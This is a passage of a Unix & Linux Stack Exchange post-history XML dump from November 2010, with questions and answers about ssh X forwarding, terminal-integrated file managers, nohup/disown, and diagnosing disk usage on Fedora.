  <row Id="8653" PostHistoryTypeId="5" PostId="3969" RevisionGUID="599e9d56-3856-436c-8737-09735734edcc" CreationDate="2010-11-12T19:19:58.297" UserId="2627" Comment="deleted 5 characters in body" Text="For Red Hat/Fedora:&#xD;&#xA;&#xD;&#xA;    yum install foo&#xD;&#xA;&#xD;&#xA;For Ubuntu:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install foo&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8654" PostHistoryTypeId="2" PostId="3990" RevisionGUID="740a056d-f8b5-4888-874d-efad08b29cdc" CreationDate="2010-11-12T20:00:02.913" UserId="2618" Text="Is there a feasible solution than combines the advantages of a command-line and a graphical file browser?&#xD;&#xA;&#xD;&#xA;For example, the command-line is good to change the directory and execute commands but can't show thumbnails and the file browser is intuitive, gives a good overview on where you are in the tree but you can't &quot;talk&quot; to the computer like in a command-line." />
  <row Id="8655" PostHistoryTypeId="1" PostId="3990" RevisionGUID="740a056d-f8b5-4888-874d-efad08b29cdc" CreationDate="2010-11-12T20:00:02.913" UserId="2618" Text="is there a good combination of command-line and graphical file browser?" />
  <row Id="8656" PostHistoryTypeId="3" PostId="3990" RevisionGUID="740a056d-f8b5-4888-874d-efad08b29cdc" CreationDate="2010-11-12T20:00:02.913" UserId="2618" Text="écommandölineàéguià" />
  <row Id="8657" PostHistoryTypeId="2" PostId="3991" RevisionGUID="af3d9267-b6f4-4dfb-83db-07c95b282e4f" CreationDate="2010-11-12T20:11:31.220" UserId="1627" Text="[Dolphin](http://dolphin.kde.org/features.html) looks like what you are looking for. But the terminal is a slave of its directory navigation (if you change the directory in the GUI, it changes in the terminal, but not the other way around).&#xD;&#xA;&#xD;&#xA;![Dolphin - all features][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/B4z7l.png&#xD;&#xA;" />
  <row Id="8658" PostHistoryTypeId="2" PostId="3992" RevisionGUID="3cb613c3-6013-44fb-9779-63af2eaa673b" CreationDate="2010-11-12T20:13:54.810" UserId="2150" Text="Konqueror http://www.konqueror.org/ has easy ways of going back and forth between terminal windows and file manager.  See the forum discussion at: http://www.knoppix.net/forum/threads/3838-How-to-Open-Konqueror-in-the-Directory-as-Your-Current-Shell  In konqueror typing ctrl-t gets you a terminal in the current directory, and in the shell kfmclient exec . opens konqueror at the current directory." />
  <row Id="8659" PostHistoryTypeId="2" PostId="3993" RevisionGUID="94d6d143-5d7e-4238-ac1f-77b914719ad1" CreationDate="2010-11-12T20:25:18.677" UserId="1627" Text="[You should be aware that WinDirStat is actually a port of KDirStat](http://windirstat.info/background.php), which is a Linux/KDE program. So, if you are looking for a Linux alternative to WinDirStat, you certainly should take a look at [KDirStat](http://kdirstat.sourceforge.net/). It is already packaged in most distros, just install it.&#xD;&#xA;&#xD;&#xA;Another alternative is FileLight, already cited by Michael Mrozek, and the Konqueror plugin `fsview` (you can run it standalone from the command-line)." />
  <row Id="8660" PostHistoryTypeId="2" PostId="3994" RevisionGUID="2c3a25e1-2651-4f81-8484-dd1266679cdf" CreationDate="2010-11-12T20:33:20.033" UserId="1468" Text="I'm looking for a utility to record and playback keyboard macros in X applications (KDE specifically). I've tried `xmacrorec` and `xmacroplay`, but after running them, my mouse and keyboard don't respond properly (i.e. the left mouse button gets stuck in a &quot;clicked&quot; state) and I have to restart X. Any modern alternatives that work under KDE 4.5 and openSUSE 11.3?" />
  <row Id="8661" PostHistoryTypeId="1" PostId="3994" RevisionGUID="2c3a25e1-2651-4f81-8484-dd1266679cdf" CreationDate="2010-11-12T20:33:20.033" UserId="1468" Text="Keyboard macros for X and/or KDE" />
  <row Id="8662" PostHistoryTypeId="3" PostId="3994" RevisionGUID="2c3a25e1-2651-4f81-8484-dd1266679cdf" CreationDate="2010-11-12T20:33:20.033" UserId="1468" Text="ékdeàéxorgà" />
  <row Id="8663" PostHistoryTypeId="2" PostId="3995" RevisionGUID="9ce99003-a5ac-4820-b86a-248c505d3f13" CreationDate="2010-11-12T20:38:16.177" UserId="1327" Text="I tried to XForward netbeans to my laptop, using the following code:&#xD;&#xA;&#xD;&#xA;    # This does not work&#xD;&#xA;    $ ssh user@10.0.0.5 -Y netbeans&#xD;&#xA;    which: no javac in (/usr/bin:/bin:/usr/sbin:/sbin)&#xD;&#xA;    which: no java in (/usr/bin:/bin:/usr/sbin:/sbin)&#xD;&#xA;    Cannot find java. Please use the --jdkhome switch.&#xD;&#xA;&#xD;&#xA;That did not work, but this did:&#xD;&#xA;&#xD;&#xA;    # This works&#xD;&#xA;    $ ssh user@10.0.0.5 -Y&#xD;&#xA;    user@home $ netbeans&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; - Why does the first method fail?&#xD;&#xA; - How can I make the first method work?&#xD;&#xA;" />
  <row Id="8664" PostHistoryTypeId="1" PostId="3995" RevisionGUID="9ce99003-a5ac-4820-b86a-248c505d3f13" CreationDate="2010-11-12T20:38:16.177" UserId="1327" Text="XForwarding not loading correct $PATH" />
  <row Id="8665" PostHistoryTypeId="3" PostId="3995" RevisionGUID="9ce99003-a5ac-4820-b86a-248c505d3f13" CreationDate="2010-11-12T20:38:16.177" UserId="1327" Text="ésshàéxforwardingà" />
  <row Id="8666" PostHistoryTypeId="5" PostId="3994" RevisionGUID="d31b0d1a-dff5-4e59-bfbe-a47de848584c" CreationDate="2010-11-12T20:42:20.913" UserId="1327" Comment="added 25 characters in body" Text="I'm looking for a utility to record and playback keyboard macros in X applications (KDE specifically). I've tried `xmacrorec` and `xmacroplay`, but after running them, my mouse and keyboard does not respond properly *(i.e. the left mouse button gets stuck in a &quot;clicked&quot; state)* and I have to restart X. &#xD;&#xA;&#xD;&#xA;Are the any modern alternatives that work under **KDE 4.5** and **openSUSE 11.3**?" />
  <row Id="8667" PostHistoryTypeId="2" PostId="3996" RevisionGUID="6051c96d-2b8c-4c11-ad47-9597295b6cc5" CreationDate="2010-11-12T20:44:29.060" UserId="1627" Text="From the [ssh(1) manual page](http://linux.die.net/man/1/ssh) (my emphasis):&#xD;&#xA;&#xD;&#xA;&gt; If command is specified, it is executed on the remote host **instead** of&#xD;&#xA;&gt; a login shell.&#xD;&#xA;&#xD;&#xA;In other words, it doesn't make a &quot;login&quot; on the remote system when you pass a command to ssh. It runs your shell in non-login, non-interactive mode, which causes a different set of initialization files to run.&#xD;&#xA;&#xD;&#xA;You should check where your PATH variable is being set, and move that to the appropriate file. If your shell is bash, for example, you should use `.bashrc`, and not `.bash_profile`." />
  <row Id="8668" PostHistoryTypeId="5" PostId="3966" RevisionGUID="8dd9101d-40f1-41fc-b763-d303b08a849b" CreationDate="2010-11-12T20:44:31.237" UserId="1327" Comment="added 4 characters in body; added 74 characters in body" Text="For Debian/Ubuntu ( run this as [root][1] )&#xD;&#xA;&#xD;&#xA;    # aptitude install firefox&#xD;&#xA;&#xD;&#xA;For Fedora i think it is &#xD;&#xA;&#xD;&#xA;    $ yum install firefox&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/3063" />
  <row Id="8669" PostHistoryTypeId="5" PostId="3969" RevisionGUID="4bfc2ae4-b09a-450e-8ffa-6c3fb1524bc6" CreationDate="2010-11-12T20:46:25.480" UserId="1327" Comment="added 76 characters in body" Text="For Red Hat/Fedora:&#xD;&#xA;&#xD;&#xA;    $ yum install foo&#xD;&#xA;&#xD;&#xA;For Ubuntu ( run this as [root][1] ) :&#xD;&#xA;&#xD;&#xA;    # apt-get install foo&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/3063&#xD;&#xA;" />
  <row Id="8670" PostHistoryTypeId="2" PostId="3997" RevisionGUID="101d8167-1aa5-491d-9fb5-37bf2111fbb9" CreationDate="2010-11-12T20:48:24.543" UserId="885" Text="[Gnome Commander](http://www.nongnu.org/gcmd/) is a file manager with a shell command line line at the bottom. [Midnight Commander (mc)](http://www.midnight-commander.org/) is similar, but in text mode. (Both get their inspiration from [Norton Commander](http://en.wikipedia.org/wiki/Norton_Commander).)&#xD;&#xA;" />
  <row Id="8671" PostHistoryTypeId="2" PostId="3998" RevisionGUID="556583f7-3bfd-4aec-a254-5e24ed094d61" CreationDate="2010-11-12T21:06:33.107" UserId="885" Text="`ssh example.com somecommand` doesn't read your `~/.profile`; `somecommand` is executed directly by the ssh daemon. When you don't specify a command, the ssh daemon invokes your login shell, which reads your `~/.profile`. (Substitute `~/.bash_profile`, `~/.zprofile` or `~/.login` depending on your login shell.)&#xD;&#xA;&#xD;&#xA;There are a few ways to set environment variables for a non-interactive command, but they all require a setting in the server configuration which is typically off by default. Assuming a recent enough OpenSSH on both sides:&#xD;&#xA;&#xD;&#xA;* You can have environment variables sent from the client to the server with the `SendEnv` directive in [`~/.ssh/config`](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh_config&amp;sektion=5). The specific environment variable must be enabled with an `AcceptEnv` directive in the [server configuration](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd_config&amp;sektion=5).&#xD;&#xA;&#xD;&#xA;* You can set environment variables through [`~/.ssh/environment`](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sektion=8#FILES) on the server side. This must be enabled in the [server configuration](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd_config&amp;sektion=5) with the `PermitUserEnvironment` directive.&#xD;&#xA;&#xD;&#xA;* Assuming you use key-based authentication, you can also set per-origin variables in [`~/.ssh/authorized_keys`](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sektion=8#SSHRC): add `environment=&quot;FOO=bar&quot;` at the beginning of the relevant line. Again, you need the `PermitUserEnvironment` directive in the server configuration.&#xD;&#xA;&#xD;&#xA;If you can't or don't want to change the server configuration, you'll have to write the full path to the remote command, or explicitly source your `.profile` in the remote command.&#xD;&#xA;&#xD;&#xA;    ssh user@10.0.0.5 -Y '. ~/.profile; netbeans'&#xD;&#xA;    ssh user@10.0.0.5 -Y '/path/to/netbeans'&#xD;&#xA;" />
  <row Id="8672" PostHistoryTypeId="2" PostId="3999" RevisionGUID="94e710bc-6fa3-460c-9dca-cba650cec189" CreationDate="2010-11-12T21:18:42.150" UserId="2641" Text="Not very surprisingly, :f &amp;lt;newname&amp;gt;changes the buffer name. Is that what you want?" />
  <row Id="8673" PostHistoryTypeId="5" PostId="3990" RevisionGUID="66289b86-fc65-43fe-86f5-cb02a63e8b58" CreationDate="2010-11-12T21:19:18.013" UserId="2618" Comment="added 179 characters in body" Text="Is there a feasible solution than combines the advantages of a command-line and a graphical file browser?&#xD;&#xA;&#xD;&#xA;For example, the command-line is good to change the directory and execute commands but can't show thumbnails and the file browser is intuitive, gives a good overview on where you are in the tree but you can't &quot;talk&quot; to the computer like in a command-line.&#xD;&#xA;&#xD;&#xA;EDIT: for me, as a comman-line user, its more like needing a command-line with additional file-browser capabilities than having a file browser with some command-line features." />
  <row Id="8674" PostHistoryTypeId="5" PostId="3953" RevisionGUID="16fc3e42-1e97-40fe-93c1-fa23b9cb2092" CreationDate="2010-11-12T21:21:45.813" UserId="328" Comment="added 10 characters in body" Text="I'm working with (read, &quot;around&quot;) a proprietary ERP system on top of SCO Unix.  It has several &quot;query at print time&quot; reports where you can assign a printer to send your job to.&#xD;&#xA;&#xD;&#xA;You usually input something like &quot;%lp5&quot;, which spools your job to printer lp5.  &#xD;&#xA;&#xD;&#xA;If I want to create a pseudo-printer that will interact with the user and then return control to the ERP how would I go about it?  I have manipulated the LP interfaces scripts in the vein of [this article][1], to include dynamic data into the reports and flow control to a print server.  But now I want to do actual interaction with the user to connect print jobs with a separate [HylaFax][2] server that I've built, so I need a way of triggering a shell script and asking the user for fax coversheet information.&#xD;&#xA;&#xD;&#xA;Our system has a built in fax system using VsiFax (which I'm trying to subvert), but I don't see how it is performing the same function I'm trying to do.  You usually send your job to the VsiFax system by printing to &quot;@fax&quot; which I don't know if it's a hardcoded printer on the ERP side or if there is some Unix convention that is being used to call a shell script.&#xD;&#xA;&#xD;&#xA;I guess what I'm looking for is a resource or some help on what the SCO Unix printer assignment conventions might be related to syntax of printer names (what does &quot;@&quot; and &quot;%&quot; mean and are there other special characters, and how I could call a shell script when sending that print job?&#xD;&#xA;&#xD;&#xA;  [1]: http://playground.sun.com/printing/documentation/interface.html&#xD;&#xA;  [2]: http://www.hylafax.org/content/Main_Page" />
  <row Id="8675" PostHistoryTypeId="2" PostId="4000" RevisionGUID="009877cf-bca3-449f-ac6e-439cc2aed10f" CreationDate="2010-11-12T21:38:07.757" UserId="2641" Text="Your second invocation doesn't make any sense, why the &quot;\ &quot; before the xarsg? You try to call a program called &quot; xargs&quot;, and bash tells you it can't find it (note the double blank after the colon), which is hardly surprising.&#xD;&#xA;&#xD;&#xA;To get rid of the error case where sed hangs when xargs returns zero files (because it's trying to read from stdin when there are no command line arguments), you should add -r to your xargs arguments. " />
  <row Id="8676" PostHistoryTypeId="2" PostId="4001" RevisionGUID="2532c8d4-cfaa-46ef-b9a7-a20fd046ef43" CreationDate="2010-11-12T21:47:56.153" UserId="2641" Text="It might help to find out what usb9 refers to. To do this, have a look at /sys/bus/usb/drivers/usb9/{product,idProduct,idVendor}, which should help you what particular USB device is refusing to suspend. If it's something you can unplug, try without that." />
  <row Id="8677" PostHistoryTypeId="2" PostId="4002" RevisionGUID="5d0f0fbb-c3a2-4010-8cf0-f3aafaf78827" CreationDate="2010-11-12T21:55:41.027" UserId="2180" Text="[Nautilus Terminal][1] is a plugin for Nautilus (Gnome's file manager).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The directories don't follow the command line, but it's reasonably quick to do `pwd | xclip`, `&lt;Ctrl&gt; +&lt;l&gt;`, `&lt;Ctrl&gt;+&lt;v&gt;`&#xD;&#xA;&#xD;&#xA;  [1]: http://software.flogisoft.com/nautilus-terminal/en/" />
  <row Id="8678" PostHistoryTypeId="5" PostId="3991" RevisionGUID="7f0fb11c-ca61-4997-a11c-b7dd4f3c2795" CreationDate="2010-11-12T22:25:12.463" UserId="1627" Comment="expanded, add terminal-&gt;gui interaction; added 5 characters in body" Text="[Dolphin](http://dolphin.kde.org/features.html) looks like what you are looking for:&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://i.imgur.com/B4z7l.png&quot; width=&quot;480&quot;&gt;&#xD;&#xA;&#xD;&#xA;But the terminal is a slave of its directory navigation (if you change the directory in the GUI, it changes in the terminal, but not the other way around).&#xD;&#xA;&#xD;&#xA;To change the GUI directory when you change the current directory in the terminal, you can make your send a message to Dolphin to update its view. Add this to your shell rc files (**Warning:** not thoroughly tested, but works here for the most common situations, use at your own risk):&#xD;&#xA;&#xD;&#xA;**Bash:**&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$KONSOLE_DBUS_SERVICE&quot; ]; then&#xD;&#xA;      if qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        cd() {&#xD;&#xA;          builtin cd &quot;$@&quot;&#xD;&#xA;          qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin/MainWindow0 org.kde.dolphin.MainWindow.changeUrl &quot;$PWD&quot; &gt;/dev/null&#xD;&#xA;        }&#xD;&#xA;      fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;**Zsh:**&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$KONSOLE_DBUS_SERVICE&quot; ]; then&#xD;&#xA;      if qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        chpwd() {&#xD;&#xA;          qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin/MainWindow0 org.kde.dolphin.MainWindow.changeUrl &quot;$PWD&quot; &gt;/dev/null&#xD;&#xA;        }&#xD;&#xA;      fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;There is an issue with this. When the Dolphin window changes the current directory, the terminal loses focus. You may want to ask for a bugfix (or even complete native support for this feature) to the developers, if you like it." />
  <row Id="8679" PostHistoryTypeId="2" PostId="4003" RevisionGUID="91ab32e1-b3f8-442f-b9b6-1d0629ca3373" CreationDate="2010-11-12T22:39:22.247" UserId="1327" Text="I've been having this issue, that when I `exit` a **ssh session**, it never quits properly. I have to kill it with Ctrl-C. &#xD;&#xA;&#xD;&#xA;Example Session Below:&#xD;&#xA;&#xD;&#xA;    [stefan@desktop ~]$ ssh stefan@10.0.0.4&#xD;&#xA;    [stefan@laptop ~]$ # do some stuff&#xD;&#xA;    [stefan@laptop ~]$ exit&#xD;&#xA;    logout&#xD;&#xA;    ^CKilled by signal 2.&#xD;&#xA;    [stefan@desktop ~]$&#xD;&#xA;&#xD;&#xA;Is there a reason this happens? ( some running proccess that blocks a clean exit perhaps ). And how can I fix it?" />
  <row Id="8680" PostHistoryTypeId="1" PostId="4003" RevisionGUID="91ab32e1-b3f8-442f-b9b6-1d0629ca3373" CreationDate="2010-11-12T22:39:22.247" UserId="1327" Text="ssh session never exits cleanly" />
  <row Id="8681" PostHistoryTypeId="3" PostId="4003" RevisionGUID="91ab32e1-b3f8-442f-b9b6-1d0629ca3373" CreationDate="2010-11-12T22:39:22.247" UserId="1327" Text="ésshà" />
  <row Id="8682" PostHistoryTypeId="5" PostId="3991" RevisionGUID="8a70a757-d0fb-4769-8624-ba4738e70154" CreationDate="2010-11-12T22:45:35.427" UserId="1627" Comment="added 14 characters in body" Text="[Dolphin](http://dolphin.kde.org/features.html) looks like what you are looking for:&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://i.imgur.com/B4z7l.png&quot; width=&quot;480&quot;&gt;&#xD;&#xA;&#xD;&#xA;But the terminal is a slave of its directory navigation (if you change the directory in the GUI, it changes in the terminal, but not the other way around).&#xD;&#xA;&#xD;&#xA;To change the application directory when you change the current directory in the terminal, you can make your shell send a message to Dolphin to update its view. Add this to your shell rc files (**Warning:** not thoroughly tested, but works here for the most common situations, use at your own risk):&#xD;&#xA;&#xD;&#xA;**Bash:**&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$KONSOLE_DBUS_SERVICE&quot; ]; then&#xD;&#xA;      if qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        cd() {&#xD;&#xA;          builtin cd &quot;$@&quot;&#xD;&#xA;          qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin/MainWindow0 org.kde.dolphin.MainWindow.changeUrl &quot;$PWD&quot; &gt;/dev/null&#xD;&#xA;        }&#xD;&#xA;      fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;**Zsh:**&#xD;&#xA;&#xD;&#xA;    if [ -n &quot;$KONSOLE_DBUS_SERVICE&quot; ]; then&#xD;&#xA;      if qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        chpwd() {&#xD;&#xA;          qdbus &quot;$KONSOLE_DBUS_SERVICE&quot; /dolphin/MainWindow0 org.kde.dolphin.MainWindow.changeUrl &quot;$PWD&quot; &gt;/dev/null&#xD;&#xA;        }&#xD;&#xA;      fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;There is an issue with this. When the Dolphin window changes the current directory, the terminal loses focus. You may want to ask for a bugfix (or even complete native support for this feature) to the developers, if you like it." />
  <row Id="8683" PostHistoryTypeId="2" PostId="4004" RevisionGUID="2e96ae85-90ce-4486-b3fa-c715a6866968" CreationDate="2010-11-12T22:57:08.220" UserId="115" Text="Sometimes I want to start a process and forget about it. If I start it from the command line, like this:&#xD;&#xA;&#xD;&#xA;    redshift&#xD;&#xA;&#xD;&#xA;I can't close the terminal, or it will kill the process. Can I run a command in such a way that I can close the terminal without killing the process?" />
  <row Id="8684" PostHistoryTypeId="1" PostId="4004" RevisionGUID="2e96ae85-90ce-4486-b3fa-c715a6866968" CreationDate="2010-11-12T22:57:08.220" UserId="115" Text="How can I run a command in a terminal without waiting for it to finish?" />
  <row Id="8685" PostHistoryTypeId="3" PostId="4004" RevisionGUID="2e96ae85-90ce-4486-b3fa-c715a6866968" CreationDate="2010-11-12T22:57:08.220" UserId="115" Text="écommandölineàéterminalàéprocessà" />
  <row Id="8687" PostHistoryTypeId="2" PostId="4006" RevisionGUID="34217c1f-7b73-491b-926b-dd4fee8caa1c" CreationDate="2010-11-12T23:30:23.760" UserId="1207" Text="One of the following 2 should work:&#xD;&#xA;&#xD;&#xA;    nohup redshift&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    redshift &amp;&#xD;&#xA;    disown&#xD;&#xA;&#xD;&#xA;See the following question for a bit more information on how this works(be sure to read the comments too): http://unix.stackexchange.com/questions/3886/difference-between-nohup-disown-and" />
  <row Id="8688" PostHistoryTypeId="2" PostId="4007" RevisionGUID="2bf1eb03-65fb-47c0-b26f-39e2d4484c83" CreationDate="2010-11-12T23:31:35.900" UserId="885" Text="From the [ssh man page](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh&amp;sektion=1):&#xD;&#xA;&#xD;&#xA;&gt; The session terminates when the command or shell on the remote machine exits and all X11 and TCP connections have been closed.&#xD;&#xA;&#xD;&#xA;You've killed your shell, but it looks like some application still has a connection open over a forwarded port (the agent, X11, or a forwarding set up with `-D`, `-L`, `-R` or their `~/.ssh/config` equivalent).&#xD;&#xA;&#xD;&#xA;If you don't know what program is using the forwarding, use `lsof -p $pid` where `$pid` is the process id of the ssh client (on the client) or the `sshd` process that was the parent of the shell (on the server) to find out what ports it has open connections on. Then use `lsof -i -n` or `netstat -pnt` and search for processes that have connections open on these ports.&#xD;&#xA;" />
  <row Id="8689" PostHistoryTypeId="5" PostId="4006" RevisionGUID="1de14998-10df-4399-9306-16211e5aeb40" CreationDate="2010-11-12T23:39:55.170" UserId="1207" Comment="added reference to man pages, and added prompt symbol" Text="One of the following 2 should work:&#xD;&#xA;&#xD;&#xA;    $ nohup redshift&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    $ redshift &amp;&#xD;&#xA;    $ disown&#xD;&#xA;&#xD;&#xA;See the following for a bit more information on how this works: &#xD;&#xA;&#xD;&#xA; - `man nohup`&#xD;&#xA;&#xD;&#xA; - `help disown`&#xD;&#xA;&#xD;&#xA; - http://unix.stackexchange.com/questions/3886/difference-between-nohup-disown-and (be sure to read the comments too)" />
  <row Id="8690" PostHistoryTypeId="5" PostId="3934" RevisionGUID="17647322-bd49-4b87-aa63-f710ad634d00" CreationDate="2010-11-13T00:40:41.333" UserId="298" Comment="deleted 6 characters in body" Text="Is there a way to generate a full process listing in solaris, without truncated lines?  I've  tried the ps commmand, with the following arguments:   &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;  -f                  Generates a full listing. (See below for&#xD;&#xA;                      significance  of columns in a full list-&#xD;&#xA;                      ing.)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;  -l                  Generates a long listing. (See below.)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;So, those both seem to do what I want, however, further down in the ps man page, I find this: &#xD;&#xA;&#xD;&#xA;&lt;pre&gt; &#xD;&#xA; args                    The command with all its arguments as  a&#xD;&#xA;                         string.  The implementation may truncate&#xD;&#xA;                         this value to the  field  width;  it  is&#xD;&#xA;                         implementation-dependent   whether   any&#xD;&#xA;                         further   truncation   occurs.   It   is&#xD;&#xA;                         unspecified     whether    the    string&#xD;&#xA;                         represented is a version of the argument&#xD;&#xA;                         list  as  it  was  passed to the command&#xD;&#xA;                         when it started, or is a version of  the&#xD;&#xA;                         arguments as they may have been modified&#xD;&#xA;                         by the application. Applications  cannot&#xD;&#xA;                         depend  on  being  able  to modify their&#xD;&#xA;                         argument list and having that  modifica-&#xD;&#xA;                         tion  be  reflected in the output of ps.&#xD;&#xA;                         The Solaris  implementation  limits  the&#xD;&#xA;                         string  to  80  bytes; the string is the&#xD;&#xA;                         version of the argument list as  it  was&#xD;&#xA;                         passed to the command when it started.&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Which basically says the output is going to be truncated and there is nothing I can do about it.  So, I'm coming here.  Surely other people have run into this problem and maybe even have a way around it.  I'm guessing ps can't do it and so I need to use other tools to do this.  Is that accurate? " />
  <row Id="8691" PostHistoryTypeId="2" PostId="4008" RevisionGUID="d5c59f62-2454-4997-afb0-64fa96190264" CreationDate="2010-11-13T00:52:24.217" UserId="2644" Text="You could also try [GD Map][1], another GUI tool based on treemaps.&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://gdmap.sourceforge.net/img/gdmap-preview.png&quot; width=&quot;600&quot; /&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gdmap.sourceforge.net/" />
  <row Id="8692" PostHistoryTypeId="4" PostId="4004" RevisionGUID="de5a3cb3-d86e-4a60-82d5-8b1c3218198e" CreationDate="2010-11-13T03:23:55.410" UserId="73" Comment="edited title" Text="How can I close a terminal without killing the command running in it?" />
  <row Id="8693" PostHistoryTypeId="2" PostId="4009" RevisionGUID="2ff68efd-98cb-4c54-8b1c-531beff8b4f2" CreationDate="2010-11-13T05:00:20.107" UserId="2224" Text="I'm using Fedora 12 on my laptop. I have 10GB disk space and 2GB of them are free. After 2-3 days uptime the space ends and I must reboot. After rebooting I get 2GB free space back. How can I prevent this?&#xD;&#xA;&#xD;&#xA;Mostly I use Firefox, Chrome, Gedit, Rhythmbox and in background: httpd, mysqld, conky. RAM: 1GB, Swap: 1.2 GB." />
  <row Id="8694" PostHistoryTypeId="1" PostId="4009" RevisionGUID="2ff68efd-98cb-4c54-8b1c-531beff8b4f2" CreationDate="2010-11-13T05:00:20.107" UserId="2224" Text="Disk space on Fedora 12" />
  <row Id="8695" PostHistoryTypeId="3" PostId="4009" RevisionGUID="2ff68efd-98cb-4c54-8b1c-531beff8b4f2" CreationDate="2010-11-13T05:00:20.107" UserId="2224" Text="éfedoraàélaptopàédisköusageà" />
  <row Id="8696" PostHistoryTypeId="2" PostId="4010" RevisionGUID="d6c082b2-ad5b-45f0-999f-11ee0d5e9ff0" CreationDate="2010-11-13T05:36:03.193" UserId="1327" Text="If your program is *already running* you can pause it with `Ctrl-Z`, pull it into the background with `bg` and then `disown` it, like this:&#xD;&#xA;&#xD;&#xA;    $ sleep 1000&#xD;&#xA;    ^Z&#xD;&#xA;    [1]+  Stopped                 sleep 1000&#xD;&#xA;    $ bg&#xD;&#xA;    $ disown&#xD;&#xA;    $ exit&#xD;&#xA;&#xD;&#xA;[1]:http://www.unix.com/unix-advanced-expert-users/78975-make-foreground-running-process-run-background-without-hang-up.html&#xD;&#xA;" />
  <row Id="8703" PostHistoryTypeId="5" PostId="4006" RevisionGUID="6a89c46f-6822-459a-9ff1-09e80e06e973" CreationDate="2010-11-13T07:50:58.493" UserId="1207" Comment="added 2 characters in body" Text="One of the following 2 should work:&#xD;&#xA;&#xD;&#xA;    $ nohup redshift &amp;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    $ redshift &amp;&#xD;&#xA;    $ disown&#xD;&#xA;&#xD;&#xA;See the following for a bit more information on how this works: &#xD;&#xA;&#xD;&#xA; - `man nohup`&#xD;&#xA;&#xD;&#xA; - `help disown`&#xD;&#xA;&#xD;&#xA; - http://unix.stackexchange.com/questions/3886/difference-between-nohup-disown-and (be sure to read the comments too)" />
  <row Id="8704" PostHistoryTypeId="2" PostId="4013" RevisionGUID="6ef13d55-5770-41f0-9d74-77ef9ee7e46f" CreationDate="2010-11-13T08:33:47.983" UserId="1327" Text="Firstly, you must find out what is eating away at your space. I'd suggest you track down the physical file or directory that grows to that size.&#xD;&#xA;&#xD;&#xA;The simplest way would be to check the directories in `/` using: ( I'd suggest running it as root )&#xD;&#xA;&#xD;&#xA;     # du -hs /* 2&gt; /dev/null&#xD;&#xA;4.2M	/bin&#xD;&#xA;25M	/boot&#xD;&#xA;204K	/dev&#xD;&#xA;6.7M	/etc&#xD;&#xA;19G	/home&#xD;&#xA;112M	/lib&#xD;&#xA;16K	/lost+found&#xD;&#xA;12K	/media&#xD;&#xA;16K	/mnt&#xD;&#xA;4.0K	/multimedia&#xD;&#xA;1018M	/opt&#xD;&#xA;0	/proc&#xD;&#xA;15M	/root&#xD;&#xA;8.6M	/sbin&#xD;&#xA;12K	/srv&#xD;&#xA;4.2G	/storage&#xD;&#xA;0	/sys&#xD;&#xA;108K	/tmp&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8705" PostHistoryTypeId="5" PostId="4013" RevisionGUID="863affde-4b82-4157-b7ae-c0e0f419a9be" CreationDate="2010-11-13T08:41:25.840" UserId="1327" Comment="added 731 characters in body; added 4 characters in body" Text="Firstly, you must find out what is eating away at your space. I'd suggest you track down the physical file or directory that grows to that size.&#xD;&#xA;&#xD;&#xA;The simplest way would be to check the directories in `/` using: ( I'd suggest running it as root )&#xD;&#xA;&#xD;&#xA;     # du -hs /* 2&gt; /dev/null&#xD;&#xA;    4.2M  /bin&#xD;&#xA;    25M   /boot&#xD;&#xA;    204K  /dev&#xD;&#xA;    6.7M  /etc&#xD;&#xA;    19G   /home&#xD;&#xA;    112M  /lib&#xD;&#xA;    16K   /lost+found&#xD;&#xA;    12K   /media&#xD;&#xA;    16K   /mnt&#xD;&#xA;    4.0K  /multimedia&#xD;&#xA;    1018M /opt&#xD;&#xA;    0     /proc&#xD;&#xA;    15M   /root&#xD;&#xA;    8.6M  /sbin&#xD;&#xA;    12K   /srv&#xD;&#xA;    4.2M  